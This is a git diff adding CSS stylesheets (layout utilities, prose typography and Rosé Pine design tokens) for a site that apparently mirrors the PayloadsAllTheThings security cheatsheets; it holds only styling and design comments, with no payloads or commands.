+ font-family: var(--font-mono); font-size: var(--step-micro);
+ letter-spacing: var(--track-micro); text-transform: uppercase;
+ line-height: 1.9;
+}
+@media (min-width: 760px) { .footer-col { text-align: right; } }
+
+/* ---- PDF embed ----------------------------------------------------------- */
+.pdf-frame { width: 100%; height: min(80vh, 900px); border: 1px solid var(--rule); background: var(--code-bg); }
+
+/* ---- Empty / utility ----------------------------------------------------- */
+.muted { color: var(--fg-faint); }
+.center { text-align: center; }
+.mono { font-family: var(--font-mono); }
+.sr-only { position: absolute; width: 1px; height: 1px; padding: 0; margin: -1px; overflow: hidden; clip: rect(0,0,0,0); white-space: nowrap; border: 0; }
+
+/* ---- Category chips ------------------------------------------------------ */
+.cat-nav { display: flex; flex-wrap: wrap; gap: 1px; background: var(--rule); border: 1px solid var(--rule); }
+.cat-chip {
+ display: inline-flex; align-items: center; gap: 0.45rem;
+ padding: 0.5rem 0.8rem;
+ background: var(--base);
+ font-family: var(--font-mono); font-size: var(--step-micro);
+ letter-spacing: var(--track-micro); text-transform: uppercase;
+ color: var(--fg-dim);
+ transition: background-color 220ms ease, color 200ms ease;
+}
+.cat-chip:hover { background: var(--wash-strong); color: var(--fg); }
+.cat-chip__tag { color: var(--acc); }
+.cat-chip[aria-current='page'] { background: var(--acc); color: var(--base); }
+.cat-chip[aria-current='page'] .cat-chip__tag { color: var(--base); }
+
+/* ---- PayloadsAllTheThings attribution ------------------------------------ */
+.patt-credit {
+ display: flex; align-items: center; gap: 0.7rem; flex-wrap: wrap;
+ margin: 0.2rem 0 1.8rem;
+ padding: 0.7rem 0.9rem;
+ border: 1px solid var(--rule);
+ border-left: 2px solid var(--iris);
+ background: var(--wash);
+ font-size: 0.86rem;
+}
+.patt-badge {
+ font-family: var(--font-mono); font-size: var(--step-micro);
+ letter-spacing: var(--track-micro); text-transform: uppercase;
+ color: var(--iris);
+ border: 1px solid color-mix(in oklab, var(--iris) 50%, transparent);
+ padding: 0.14rem 0.4rem;
+ flex: none;
+}
+.patt-credit__text { color: var(--fg-dim); line-height: 1.5; }
+.patt-credit__text a { color: var(--iris); border-bottom: 1px solid color-mix(in oklab, var(--iris) 40%, transparent); }
+.patt-credit__text a:hover { border-color: var(--iris); }
+.patt-lic { display: inline-block; margin-left: 0.5rem; color: var(--fg-faint); font-family: var(--font-mono); font-size: 0.78rem; }
+.patt-lic code { background: none; color: var(--fg-faint); }
+.patt-src {
+ margin-left: auto;
+ display: inline-flex; align-items: center; gap: 0.35rem;
+ font-family: var(--font-mono); font-size: var(--step-micro);
+ letter-spacing: var(--track-micro); text-transform: uppercase;
+ color: var(--fg-dim);
+ padding: 0.32rem 0.6rem;
+ border: 1px solid var(--rule);
+ transition: color 180ms ease, border-color 180ms ease;
+}
+.patt-src:hover { color: var(--iris); border-color: color-mix(in oklab, var(--iris) 50%, transparent); }
+
+/* ---- Theme toggle: circular-reveal wipe ---------------------------------- */
+/* Scoped to .theme-vt so page navigations keep Astro's default crossfade.
+ The toggle sets --vt-x/--vt-y (origin) and --vt-r (end radius) in JS. */
+:root.theme-vt::view-transition-old(root),
+:root.theme-vt::view-transition-new(root) {
+ animation: none; /* cancel the default fade */
+ mix-blend-mode: normal;
+}
+:root.theme-vt::view-transition-old(root) { z-index: 0; } /* previous theme underneath */
+:root.theme-vt::view-transition-new(root) { z-index: 1; } /* new theme wipes in on top */
+
+@media (prefers-reduced-motion: no-preference) {
+ :root.theme-vt::view-transition-new(root) {
+ animation: theme-reveal 0.5s cubic-bezier(0.4, 0, 0.2, 1) both;
+ }
+ @keyframes theme-reveal {
+ from { clip-path: circle(0 at var(--vt-x, 50%) var(--vt-y, 0)); }
+ to { clip-path: circle(var(--vt-r, 150vmax) at var(--vt-x, 50%) var(--vt-y, 0)); }
+ }
+}
+
+/* ============================================================================
+ Cyberdeck integration — additive hooks that wire the shared chrome objects
+ (`.corners`, `.scanlines`, `.plate-dawn`) into the page furniture. Kept in
+ one block at the foot of the file so the restyle stays reviewable.
+ ========================================================================== */
+
+/* ---- Hover-reveal corner brackets ---------------------------------------- */
+/* Domain tiles and index records carry `.corners`, but a grid of always-on
+ brackets reads as clutter — so they stay clipped until the row is under the
+ pointer, arriving with the ink wipe. */
+.plate-tile.corners::before, .plate-tile.corners::after,
+.record.corners::before, .record.corners::after {
+ opacity: 0;
+ transition: opacity 180ms ease;
+}
+.plate-tile.corners:hover::before, .plate-tile.corners:hover::after,
+.record.corners:hover::before, .record.corners:hover::after {
+ opacity: 1;
+}
+
+/* ---- Footer CRT film ----------------------------------------------------- */
+/* The footer is a `.plate`; the scanline sheet rides at z-index 1 over it, so
+ the content column is lifted above the film and the brackets frame it. */
+.site-footer .wrap { position: relative; z-index: 2; }
+.site-footer > .scanlines { opacity: 0.6; }
+
+/* ---- 'On this page' rail as a dawn plate --------------------------------- */
+/* `.corners` would force `position: relative` and un-stick the rail, so sticky
+ is re-asserted at higher specificity. The panel treatment and its brackets
+ only appear on the night page — in light mode `.plate-dawn` is a no-op and
+ the rail keeps its bare, borderless look. */
+.toc.corners { position: sticky; }
+.toc.corners::before, .toc.corners::after { display: none; }
+:root[data-theme='dark'] .toc.plate-dawn {
+ background: var(--surface);
+ border: 1px solid var(--rule);
+ padding: 1rem 1.05rem 1.1rem;
+}
+:root[data-theme='dark'] .toc.plate-dawn.corners::before,
+:root[data-theme='dark'] .toc.plate-dawn.corners::after { display: block; }
diff --git a/src/styles/prose.css b/src/styles/prose.css
@@ -0,0 +1,299 @@
+/* ============================================================================
+ Prose — how a rendered cheatsheet reads.
+
+ The body is paper. The code is not: every block is a dark plate, in both
+ modes, exactly as the main site sets them. That is the page's core
+ rhythm — terminal output pasted into a printed document — and it is why
+ the blocks do not follow the theme. A code block that turns cream in
+ light mode stops being a terminal and becomes a quotation.
+ ========================================================================== */
+
+.prose { color: var(--fg); font-size: 17.5px; line-height: 1.68; letter-spacing: -0.003em; max-width: 78ch; }
+.prose > * + * { margin-top: 1.15rem; }
+
+.prose h2, .prose h3, .prose h4 { font-family: var(--font-display); scroll-margin-top: 92px; }
+/* Empty MkDocs-anchor aliases inside mirrored headings (see astro.config.mjs).
+ They are the scroll target for canonical upstream deep links, so they need
+ the same offset or the heading lands behind the sticky header. */
+.prose .anchor-alias { scroll-margin-top: 92px; }
+.prose h2 {
+ font-size: clamp(1.35rem, 2.2vw, 1.75rem);
+ font-weight: 700;
+ font-stretch: 84%;
+ letter-spacing: -0.03em;
+ line-height: 1;
+ text-transform: uppercase;
+ margin-top: 2.6rem;
+ padding-bottom: 0.5rem;
+ border-bottom: 1px solid var(--fg);
+}
+.prose h3 {
+ font-size: 1.18rem; font-weight: 700; letter-spacing: -0.02em;
+ line-height: 1.15; margin-top: 2rem; color: var(--fg);
+}
+.prose h4 {
+ font-family: var(--font-mono);
+ font-size: 11px; letter-spacing: var(--track-micro); text-transform: uppercase;
+ margin-top: 1.6rem; color: var(--fg-faint);
+}
+
+.prose p { color: var(--fg); text-wrap: pretty; }
+.prose strong { color: var(--fg); font-weight: 600; }
+.prose em { color: var(--fg-dim); }
+
+/* ---- Drop cap ------------------------------------------------------------ */
+/* The opening letter of a sheet, floated three lines deep in EB Garamond.
+ Set on a span rather than with `::first-letter` for two reasons: the
+ pseudo-element cannot be given a different family and weight reliably
+ across engines at this size, and — the real one — the letter stays real
+ selectable, searchable text this way, read as part of the word it opens
+ rather than as decoration sitting beside it.
+
+ The rehype pass that splits it out (see `rehypeDropCap` in
+ astro.config.mjs) skips short openers, so an image caption or a
+ one-line note is left alone. */
+.prose .cap {
+ float: left;
+ font-family: var(--font-lockup);
+ font-size: 72px;
+ font-weight: 600;
+ line-height: 0.74;
+ color: var(--love);
+ margin: 5px 0.85rem 0 0;
+}
+
+.prose a {
+ color: var(--accent);
+ text-decoration: underline;
+ text-decoration-color: color-mix(in oklab, var(--accent) 40%, transparent);
+ text-underline-offset: 3px;
+ transition: text-decoration-color 200ms ease;
+}
+.prose a:hover { text-decoration-color: var(--accent); }
+
+.prose ul, .prose ol { padding-left: 1.4rem; }
+.prose li { margin-top: 0.35rem; }
+.prose ul li::marker { color: var(--accent); }
+.prose ol li::marker { color: var(--fg-faint); font-family: var(--font-mono); }
+
+.prose hr { border: 0; border-top: 1px solid var(--rule); margin: 2.4rem 0; }
+
+/* Inline code — a tinted slug on the page, square, hairline-bordered. This
+ is the one place the paper carries code, and it stays paper-coloured;
+ the dark treatment is reserved for blocks. */
+.prose :not(pre) > code {
+ font-family: var(--font-mono);
+ font-size: 0.86em;
+ padding: 0.14em 0.4em;
+ background: var(--code-bg);
+ border: 1px solid var(--rule);
+ color: var(--rose);
+ word-break: break-word;
+}
+
+/* ---- Callouts (blockquotes) --------------------------------------------- */
+/* Every blockquote is a terminal callout: a square plate framed by corner
+ brackets (`.corners`, added in app.ts) with a left accent bar and, when the
+ source used a GitHub/Obsidian `> [!type]` marker, a mono type label
+ (`enhanceCallouts` in app.ts strips the marker and inserts `.callout__label`).
+ Cross-theme by contract, mirroring the code panes in reverse: on the cream
+ page a callout is a NIGHT plate so it reads as a terminal; on the night page
+ it flips to a DAWN (cream) plate — paper floating on the dark. Plain
+ blockquotes with no marker get the same frame, just no label. */
+.prose blockquote {
+ /* Default (cream page): pin the night palette for this subtree, like
+ `.plate`, so the callout is a terminal. */
+ --base: #191724; --surface: #1f1d2e; --overlay: #26233a;
+ --text: #e0def4; --subtle: #908caa; --muted: #8b87a3;
+ --love: #eb6f92; --gold: #f6c177; --rose: #ebbcba;
+ --pine: #9ccfd8; --foam: #9ccfd8; --iris: #c4a7e7;
+ --rule: rgba(224, 222, 244, 0.16);
+ --fg: var(--text); --fg-dim: var(--subtle); --fg-faint: var(--muted);
+ --accent: var(--iris);
+ --callout-accent: var(--foam);
+ --bracket: var(--love);
+ position: relative;
+ background: var(--surface);
+ color: var(--fg-dim);
+ border: 1px solid var(--rule);
+ border-left: 2px solid var(--callout-accent);
+ padding: 0.95rem 1.15rem;
+ margin-block: 1.5rem;
+}
+/* Night page: flip the same object to a dawn (cream) plate. */
+:root[data-theme='dark'] .prose blockquote {
+ --base: #faf4ed; --surface: #fffaf3; --overlay: #f2e9e1;
+ --text: #575279; --subtle: #635f7c; --muted: #6e6a86;
+ --love: #b4637a; --gold: #ea9d34; --rose: #d7827e;
+ --pine: #286983; --foam: #56949f; --iris: #907aa9;
+ --rule: rgba(87, 82, 121, 0.22);
+ --accent: var(--iris);
+}
+.prose blockquote > :first-child { margin-top: 0; }
+.prose blockquote > :last-child { margin-bottom: 0; }
+.prose blockquote p { margin-top: 0.55rem; color: var(--fg-dim); }
+.prose blockquote strong { color: var(--fg); }
+.prose blockquote em { color: var(--fg-dim); }
+.prose blockquote a { color: var(--accent); text-decoration-color: color-mix(in oklab, var(--accent) 45%, transparent); }
+.prose blockquote ul li::marker { color: var(--callout-accent); }
+/* Inline code in a callout rides the pinned overlay, so it keeps contrast on
+ the night plate and on the dawn plate both. */
+.prose blockquote :not(pre) > code {
+ background: var(--overlay);
+ border-color: var(--rule);
+ color: var(--rose);
+}
+
+/* The typed label — the mono micro-header a `[!type]` marker becomes. */
+.callout__label {
+ display: inline-flex; align-items: center; gap: 0.5rem;
+ font-family: var(--font-mono); font-size: 10px;
+ letter-spacing: var(--track-micro); text-transform: uppercase;
+ line-height: 1; color: var(--callout-accent);
+ margin-bottom: 0.7rem;
+}
+.callout__label::before { content: '//'; opacity: 0.6; }
+
+/* Re-key the accent bar + label per kind. Qualified with `.prose blockquote`
+ so these out-rank the base blockquote's own `--callout-accent`. */
+.prose blockquote[data-callout] { border-left-color: var(--callout-accent); }
+.prose blockquote[data-callout='warning'] { --callout-accent: var(--gold); }
+.prose blockquote[data-callout='danger'] { --callout-accent: var(--love); --bracket: var(--love); }
+.prose blockquote[data-callout='tip'],
+.prose blockquote[data-callout='success'] { --callout-accent: var(--foam); }
+.prose blockquote[data-callout='note'],
+.prose blockquote[data-callout='info'] { --callout-accent: var(--pine); }
+.prose blockquote[data-callout='question'],
+.prose blockquote[data-callout='example'],
+.prose blockquote[data-callout='quote'] { --callout-accent: var(--iris); }
+
+/* Tables — a ruled table, not a card with a table in it. */
+.prose .table-scroll { overflow-x: auto; border: 1px solid var(--rule); }
+.prose table { width: 100%; border-collapse: collapse; font-size: 0.9rem; }
+.prose thead th {
+ background: var(--wash-strong);
+ font-family: var(--font-mono); font-size: var(--step-micro);
+ letter-spacing: var(--track-micro);
+ text-transform: uppercase; color: var(--fg-dim);
+ text-align: left; padding: 0.62rem 0.8rem; white-space: nowrap;
+ border-bottom: 1px solid var(--rule);
+}
+.prose tbody td { padding: 0.58rem 0.8rem; border-top: 1px solid var(--rule); vertical-align: top; }
+.prose tbody tr:hover { background: var(--wash); }
+
+.prose img { border: 1px solid var(--rule); margin-inline: auto; }
+
+/* Rendered workflow diagrams are supplied alongside editable Mermaid source.
+ The caption behaves like a terminal status bar while the Dawn artwork stays
+ on its intended light plate in either site theme. */
+.prose .diagram-plate {
+ position: relative;
+ max-width: min(100%, 96ch);
+ border: 1px solid var(--rule);
+ background: #faf4ed;
+ overflow: hidden;
+}
+.prose .diagram-plate__image {
+ display: block;
+ padding: clamp(0.65rem, 2vw, 1.25rem);
+ background: #faf4ed;
+ text-decoration: none;
+}
+.prose .diagram-plate img {
+ width: auto;
+ max-height: min(76vh, 1050px);
+ border: 0;
+ object-fit: contain;
+}
+.prose .diagram-plate figcaption {
+ display: flex;
+ align-items: center;
+ justify-content: space-between;
+ gap: 0.65rem 1.2rem;
+ padding: 0.65rem 0.8rem;
+ border-top: 1px solid var(--rule);
+ background: var(--surface);
+ color: var(--fg-dim);
+ font-family: var(--font-mono);
+ font-size: var(--step-micro);
+ letter-spacing: var(--track-micro);
+ text-transform: uppercase;
+}
+.prose .diagram-plate__downloads { display: flex; flex-wrap: wrap; gap: 0.85rem; }
+.prose .diagram-plate__downloads a { color: var(--accent); text-decoration: none; }
+.prose .diagram-plate__downloads a:hover { text-decoration: underline; }
+@media (max-width: 560px) {
+ .prose .diagram-plate figcaption { align-items: flex-start; flex-direction: column; }
+}
+
+/* ---- Code blocks --------------------------------------------------------- */
+/* A figure on the plate, with its caption above the code: the language at
+ the left, the copy control at the right, both in the 9.5px mono the rest
+ of the site labels things in. No window chrome, no traffic-light dots —
+ this is a printed listing of terminal output, not a simulated window. */
+.code-pane {
+ position: relative;
+ background: var(--plate);
+ padding: 1rem 1.4rem 1.4rem;
+ /* Runs past the prose measure at wide viewports, because a fixed-width
+ terminal listing is the one thing on the page that genuinely needs
+ more than 74ch and wraps badly under it. */
+ max-width: min(100%, 92ch);
+}
+/* app.ts tags the pane `.plate`, so `--iris`/`--foam`/`--love` resolve to
+ their night values in this subtree in both modes — the caption colours and
+ the corner brackets stay terminal-toned on the cream page without hardcoded
+ hex. The titlebar closes with a hairline rule, tmux-style. */
+.code-pane__bar {
+ display: flex; align-items: center; justify-content: space-between;
+ gap: 1rem;
+ margin-bottom: 0.9rem;
+ padding-bottom: 0.7rem;
+ border-bottom: 1px solid var(--rule);
+}
+.code-pane__lang {
+ font-family: var(--font-mono); font-size: 9.5px;
+ letter-spacing: 0.18em; text-transform: uppercase;
+ color: var(--iris);
+}
+.code-copy {
+ display: inline-flex; align-items: center; gap: 0.45rem;
+ font-family: var(--font-mono); font-size: 9.5px;
+ letter-spacing: 0.18em; text-transform: uppercase;
+ color: var(--foam);
+ transition: color 200ms ease;
+}
+.code-copy:hover { color: var(--text); }
+.code-copy.copied { color: var(--gold); }
+.code-copy svg { width: 11px; height: 11px; }
+
+/* The scanline film sits at z-index 1 over the plate; the titlebar and the
+ listing ride above it so the CRT texture shows through the transparent code
+ background between glyphs without ever washing over the text. Softened for
+ code because legibility outranks the effect here. */
+.code-pane > .code-pane__bar,
+.code-pane > pre { position: relative; z-index: 2; }
+.code-pane > .scanlines { opacity: 0.5; }
+
+.prose pre.astro-code {
+ margin: 0;
+ padding: 0;
+ overflow-x: auto;
+ font-size: 13px;
+ line-height: 1.7;
+ background: transparent !important;
+ color: #e0def4;
+}
+.prose pre.astro-code code {
+ font-family: var(--font-mono);
+ display: block;
+ /* Wrapped rather than scrolled: a cheatsheet's value is the whole
+ command being visible and copyable at a glance, and a long
+ `--script-args` tail hidden behind a horizontal scrollbar is the one
+ thing most likely to be pasted wrong. */
+ white-space: pre-wrap;
+ word-break: break-word;
+}
+
+/* First heading of the doc is the page title (rendered separately) */
+.prose > h1:first-child { display: none; }
diff --git a/src/styles/tokens.css b/src/styles/tokens.css
@@ -0,0 +1,393 @@
+/* ============================================================================
+ DÆMON//SEC — design tokens
+ Matches the main DÆMON site: Rosé Pine Dawn (cream, DEFAULT) ⇄ Rosé Pine
+ (night). Type is Archivo + IBM Plex Mono, with an EB Garamond lockup for
+ the wordmark. Palette values are the contrast-tuned DÆMON dawn/night tokens.
+ The theme attribute is set on <html> by an inline head script before paint.
+
+ ── Form language ──
+ The site is an editorial-brutalist paper archive, not a glass UI. Three
+ rules follow from that and everything here serves them:
+
+ 1. Zero radius. Corners are square, everywhere, including images and
+ inputs. `--radius*` survive only so that consumers written against
+ them keep compiling; they all resolve to 0.
+ 2. No blur, no glow, no drop shadow. Structure is carried by 1px ink
+ rules (`--rule`), flat panels (`.slab`), and the grain film.
+ 3. Colour separates by *value*, not by translucency. A panel differs
+ from its page because it is a different ink, not because it is
+ frosted.
+
+ Alpha still belongs on borders and washes. It does NOT belong on text:
+ use the ink / subtle / muted ramp, which is tuned to stay legible at
+ every step in both modes.
+ ========================================================================== */
+
+/* ---- Fonts (self-hosted, base-aware via Vite) ---------------------------- */
+@font-face { font-family: 'Archivo'; font-style: normal; font-weight: 400; font-display: swap; src: url('../fonts/archivo-400.woff2') format('woff2'); }
+@font-face { font-family: 'Archivo'; font-style: normal; font-weight: 500; font-display: swap; src: url('../fonts/archivo-500.woff2') format('woff2'); }
+@font-face { font-family: 'Archivo'; font-style: normal; font-weight: 600; font-display: swap; src: url('../fonts/archivo-600.woff2') format('woff2'); }
+@font-face { font-family: 'Archivo'; font-style: normal; font-weight: 700; font-display: swap; src: url('../fonts/archivo-700.woff2') format('woff2'); }
+@font-face { font-family: 'EB Garamond'; font-style: normal; font-weight: 600; font-display: swap; src: url('../fonts/eb-garamond-600.woff2') format('woff2'); }
+@font-face { font-family: 'IBM Plex Mono'; font-style: normal; font-weight: 400; font-display: swap; src: url('../fonts/ibm-plex-mono-400.woff2') format('woff2'); }
+@font-face { font-family: 'IBM Plex Mono'; font-style: normal; font-weight: 600; font-display: swap; src: url('../fonts/ibm-plex-mono-600.woff2') format('woff2'); }
+/* DM Mono — the site mono, matching daemon-sec.xyz (labels, eyebrows, meta,
+ the redesigned homepage). Self-hosted latin subsets; no external request. */
+@font-face { font-family: 'DM Mono'; font-style: normal; font-weight: 300; font-display: swap; src: url('../fonts/dm-mono-300.woff2') format('woff2'); }
+@font-face { font-family: 'DM Mono'; font-style: normal; font-weight: 400; font-display: swap; src: url('../fonts/dm-mono-400.woff2') format('woff2'); }
+@font-face { font-family: 'DM Mono'; font-style: italic; font-weight: 400; font-display: swap; src: url('../fonts/dm-mono-400-italic.woff2') format('woff2'); }
+@font-face { font-family: 'DM Mono'; font-style: normal; font-weight: 500; font-display: swap; src: url('../fonts/dm-mono-500.woff2') format('woff2'); }
+/* Noto Sans Display — variable cut, the wordmark/display face: heavy,
+ compressed, uppercase. */
+@font-face { font-family: 'Noto Sans Display'; font-style: normal; font-weight: 100 900; font-stretch: 62.5% 100%; font-display: swap; src: url('../fonts/noto-sans-display-var-latin.woff2') format('woff2'); }
+/* JetBrains Mono — terminal accents: code captions, status-bar segments,
+ prompt lines. */
+@font-face { font-family: 'JetBrains Mono'; font-style: normal; font-weight: 400; font-display: swap; src: url('../fonts/jetbrains-mono-400-latin.woff2') format('woff2'); }
+@font-face { font-family: 'JetBrains Mono'; font-style: italic; font-weight: 400; font-display: swap; src: url('../fonts/jetbrains-mono-400-italic-latin.woff2') format('woff2'); }
+@font-face { font-family: 'JetBrains Mono'; font-style: normal; font-weight: 700; font-display: swap; src: url('../fonts/jetbrains-mono-700-latin.woff2') format('woff2'); }
+/* Old Standard TT — wordmark cut, for stylised glyph lockups. Optional
+ garnish, used sparingly. */
+@font-face { font-family: 'Old Standard TT'; font-style: normal; font-weight: 700; font-display: swap; src: url('../fonts/old-standard-tt-700-wordmark.woff2') format('woff2'); }
+
+/* ---- Light = Rosé Pine Dawn (DEFAULT, cream) ---------------------------- */
+:root,
+:root[data-theme='light'] {
+ --base: #faf4ed;
+ --surface: #fffaf3;
+ --overlay: #f2e9e1;
+ --muted: #6e6a86; /* 4.73:1 */
+ --subtle: #635f7c; /* 5.56:1 */
+ --text: #575279; /* 6.66:1 */
+ /* accents tuned to clear 4.5:1 as ink on cream */
+ --love: #af416c;
+ --gold: #9b5800;
+ --rose: #b4423d;
+ --pine: #017194;
+ --foam: #00747b;
+ --iris: #795aa2;
+ --hl-low: #f4ede8;
+ --hl-med: #dfdad9;
+ --hl-high: #cecacd;
+
+ /* The published Rosé Pine Dawn pastels, kept for decoration — washes,
+ rules, noise bands, anything that is a shape rather than a word. On
+ cream they run from gold at 2.05:1 to love at 3.84:1, all under the
+ 4.5:1 floor, so never put text in them here. They are what the theme
+ actually looks like: use them as ground and put ink on top. */
+ --pine-soft: #286983;
+ --foam-soft: #56949f;
+ --gold-soft: #ea9d34;
+ --love-soft: #b4637a;
+ --iris-soft: #907aa9;
+ --rose-soft: #d7827e;
+
+ /* semantic */
+ --bg: var(--base);
+ --fg: var(--text);
+ --fg-dim: var(--subtle);
+ --fg-faint: var(--muted);
+ --accent: var(--iris);
+ --accent-2: var(--pine);
+
+ /* Structure. `--rule` is the hairline every edge on the site is drawn
+ with; `--rule-hi` is the same ink at the weight a hovered or active
+ edge takes. `--wash` is the one permitted fill that is not a flat
+ colour — a paper tint for table stripes and hover grounds. */
+ --rule: rgba(87, 82, 121, 0.22);
+ --rule-hi: rgba(87, 82, 121, 0.48);
+ --rule-faint: rgba(87, 82, 121, 0.12);
+ --wash: rgba(242, 233, 225, 0.6);
+ --wash-strong: #f2e9e1;
+
+ --code-bg: #f2e9e1;
+ --selection: rgba(121, 90, 162, 0.22);
+
+ /* The grain film's weight on paper. Multiply, because on a light ground
+ noise has to be laid *into* the page — added to it, it is invisible. */
+ --grain-blend: multiply;
+ --grain-opacity: 0.1;
+
+ /* The banners' signal field, resolved from CSS at draw time so the
+ canvas follows the mode. On paper there is no light to add, so the
+ bands are multiplied in at lower gain (multiply bites harder than
+ `lighter` at the same alpha) using the published dawn hues. */
+ --fuzz-blend: multiply;
+ --fuzz-gain: 0.55;
+ --fuzz-band-1: 144 122 169; /* iris-soft */
+ --fuzz-band-2: 86 148 159; /* foam-soft */
+ --fuzz-band-3: 180 99 122; /* love-soft */
+ --fuzz-fil-1: 87 82 121; /* ink */
+ --fuzz-fil-2: 86 148 159;
+ --fuzz-fil-3: 144 122 169;
+}
+
+/* ---- Dark = Rosé Pine (night) ------------------------------------------- */
+:root[data-theme='dark'] {
+ --base: #191724;
+ --surface: #1f1d2e;
+ --overlay: #26233a;
+ --muted: #8b87a3; /* 5.12:1 */
+ --subtle: #908caa; /* 5.48:1 */
+ --text: #e0def4; /* 13.39:1 */
+ --love: #eb6f92;
+ --gold: #f6c177;
+ --rose: #ebbcba;
+ --pine: #3e8fb0; /* 4.84:1 — lifted from #31748f */
+ --foam: #9ccfd8;
+ --iris: #c4a7e7;
+ --hl-low: #21202e;
+ --hl-med: #403d52;
+ --hl-high: #524f67;
+
+ /* On the dark side the published accents already clear their floors as
+ text, so `-soft` is the same value rather than a separate pastel. */
+ --pine-soft: #3e8fb0;
+ --foam-soft: #9ccfd8;
+ --gold-soft: #f6c177;
+ --love-soft: #eb6f92;
+ --iris-soft: #c4a7e7;
+ --rose-soft: #ebbcba;
+
+ --bg: var(--base);
+ --fg: var(--text);
+ --fg-dim: var(--subtle);
+ --fg-faint: var(--muted);
+ --accent: var(--iris);
+ --accent-2: var(--foam);
+
+ --rule: rgba(224, 222, 244, 0.16);
+ --rule-hi: rgba(224, 222, 244, 0.38);
+ --rule-faint: rgba(224, 222, 244, 0.08);
+ --wash: rgba(224, 222, 244, 0.05);
+ --wash-strong: #26233a;
+
+ --code-bg: #131019;
+ --selection: rgba(196, 167, 231, 0.30);
+
+ /* Screen, not multiply: on ink, noise has to be added or it vanishes. */
+ --grain-blend: screen;
+ --grain-opacity: 0.07;
+
+ --fuzz-blend: lighter;
+ --fuzz-gain: 1;
+ --fuzz-band-1: 196 167 231;
+ --fuzz-band-2: 156 207 216;
+ --fuzz-band-3: 235 111 146;
+ --fuzz-fil-1: 224 222 244;
+ --fuzz-fil-2: 156 207 216;
+ --fuzz-fil-3: 196 167 231;
+}
+
+/* ---- Bands: grounds, not accents ---------------------------------------- */
+/* A full-bleed band has to carry text on top of it, and an accent at
+ reading weight cannot also be a ground: at the accent's lightness the
+ night palette stops reading on it. So a band is an accent walked down
+ its own hue until the night accents all clear their floors on it.
+
+ Two bands, two tokens — they shared one for a while on the main site
+ and retuning the marquee silently repainted the ledger halfway down
+ the page. These sit outside the theme blocks because a band is the
+ same ink in both modes: it is the page's constant. */
+:root {
+ /* The marquee. Iris, because iris is the signature accent — the hero
+ rule, the section eyebrows — so the one saturated stripe near the
+ top of the page belongs to the family around it. Published iris
+ (#795aa2, hue 266) walked down to ground weight at the same hue.
+ Cream on it: 9.10:1. */
+ --band: #4e3969;
+ /* The ledger band, far enough down the page that the two never share a
+ sightline. Cream on it: 7.04:1. */
+ --band-ledger: #015a77;
+ /* InternalAllTheThings is the Payloads mirror's companion, not a second
+ copy of it. A pine ground keeps the pair related while giving each
+ reference a distinct address on the homepage. Cream on it: 7.33:1. */
+ --band-internal: #28594f;
+ /* The plate ground the section banners and code blocks are drawn on,
+ and its scrim channels — the canvas reads these to erase its own
+ edges under the title. */
+ --plate: #171322;
+ --plate-scrim: 23 19 34;
+}
+
+/* ---- Fonts + scale ------------------------------------------------------ */
+:root {
+ --font-display: 'Archivo', 'Helvetica Neue', Helvetica, Arial, sans-serif;
+ --font-body: 'Archivo', 'Helvetica Neue', Helvetica, Arial, sans-serif;
+ --font-mono: 'IBM Plex Mono', ui-monospace, SFMono-Regular, 'SF Mono', Menlo, Consolas, monospace;
+ --font-lockup: 'EB Garamond', Georgia, 'Times New Roman', serif;
+ /* Noto Sans Display — the daemon-sec signature display face: heavy,
+ compressed, uppercase. Wordmarks, banner titles, segbar wordmark. */
+ --font-wordmark: 'Noto Sans Display', 'Archivo', 'Helvetica Neue', sans-serif;
+ /* JetBrains Mono — terminal chrome: status-bar segments, code captions,
+ prompt lines. Distinct from `--font-mono`, which stays IBM Plex Mono
+ for micro labels. */
+ --font-term: 'JetBrains Mono', 'IBM Plex Mono', ui-monospace, monospace;
+
+ /* The corner-bracket ink. Defaults to `--love`, the accent the brackets
+ are drawn in everywhere; consumers may override it per element via
+ `var(--bracket, var(--love))` fallbacks. */
+ --bracket: var(--love);
+
+ --step--1: clamp(0.79rem, 0.77rem + 0.1vw, 0.85rem);
+ --step-0: clamp(0.95rem, 0.92rem + 0.15vw, 1.02rem);
+ --step-1: clamp(1.14rem, 1.05rem + 0.4vw, 1.35rem);
+ --step-2: clamp(1.4rem, 1.2rem + 0.9vw, 1.9rem);
+ --step-3: clamp(1.85rem, 1.4rem + 2vw, 2.9rem);
+ --step-4: clamp(2.4rem, 1.6rem + 3.6vw, 4.4rem);
+
+ /* The micro label — 10px mono, uppercase, widely tracked. This is the
+ site's signature type object: every eyebrow, kind mark, stat label,
+ tab and code-block caption is set in it. Fixed in px on purpose; it
+ is furniture, and furniture does not scale with the headline. */
+ --step-micro: 10px;
+ --track-micro: 0.18em;
+ --track-wide: 0.24em;
+
+ /* Square corners, everywhere. Kept as tokens so existing consumers keep
+ compiling — they all resolve to nothing. */
+ --radius: 0;
+ --radius-sm: 0;
+
+ /* The archive measure. Wider than the old glass build's 1180px because
+ the page is now built out of full-bleed bands and ruled tables rather
+ than out of floating cards, and those want the room. */
+ --maxw: 1440px;
+ --rail: 240px;
+ --ease: cubic-bezier(0.22, 1, 0.36, 1);
+ /* The site's entrance curve — slower out, hard landing. Distinct from
+ `--ease`, which is for hover-scale transitions. */
+ --ease-in: cubic-bezier(0.2, 0.7, 0.2, 1);
+}
+
+/* ---- Plate: the DÆMON signature — an inverse (night) panel on the cream
+ page. Pins the Rosé Pine palette for its whole subtree, like the main
+ site's dark hero band / terminals / footer. On the night theme it stays
+ dark, so plates read as dark in both modes. -------------------------- */
+.plate {
+ --base: #191724;
+ --surface: #1f1d2e;
+ --overlay: #26233a;
+ --muted: #8b87a3;
+ --subtle: #908caa;
+ --text: #e0def4;
+ --love: #eb6f92; --gold: #f6c177; --rose: #ebbcba;
+ --pine: #3e8fb0; --foam: #9ccfd8; --iris: #c4a7e7;
+ --pine-soft: #3e8fb0; --foam-soft: #9ccfd8; --gold-soft: #f6c177;
+ --love-soft: #eb6f92; --iris-soft: #c4a7e7; --rose-soft: #ebbcba;
+ --hl-low: #21202e; --hl-med: #403d52; --hl-high: #524f67;
+ --bg: var(--base);
+ --fg: var(--text);
+ --fg-dim: var(--subtle);
+ --fg-faint: var(--muted);
+ --accent: var(--iris);
+ --accent-2: var(--foam);
+ --rule: rgba(224, 222, 244, 0.16);
+ --rule-hi: rgba(224, 222, 244, 0.38);
+ --rule-faint: rgba(224, 222, 244, 0.08);
+ --wash: rgba(224, 222, 244, 0.05);
+ --wash-strong: #26233a;
+ --code-bg: #131019;
+ --grain-blend: screen;
+ --grain-opacity: 0.07;
+ --fuzz-blend: lighter;
+ --fuzz-gain: 1;
+ --fuzz-band-1: 196 167 231;
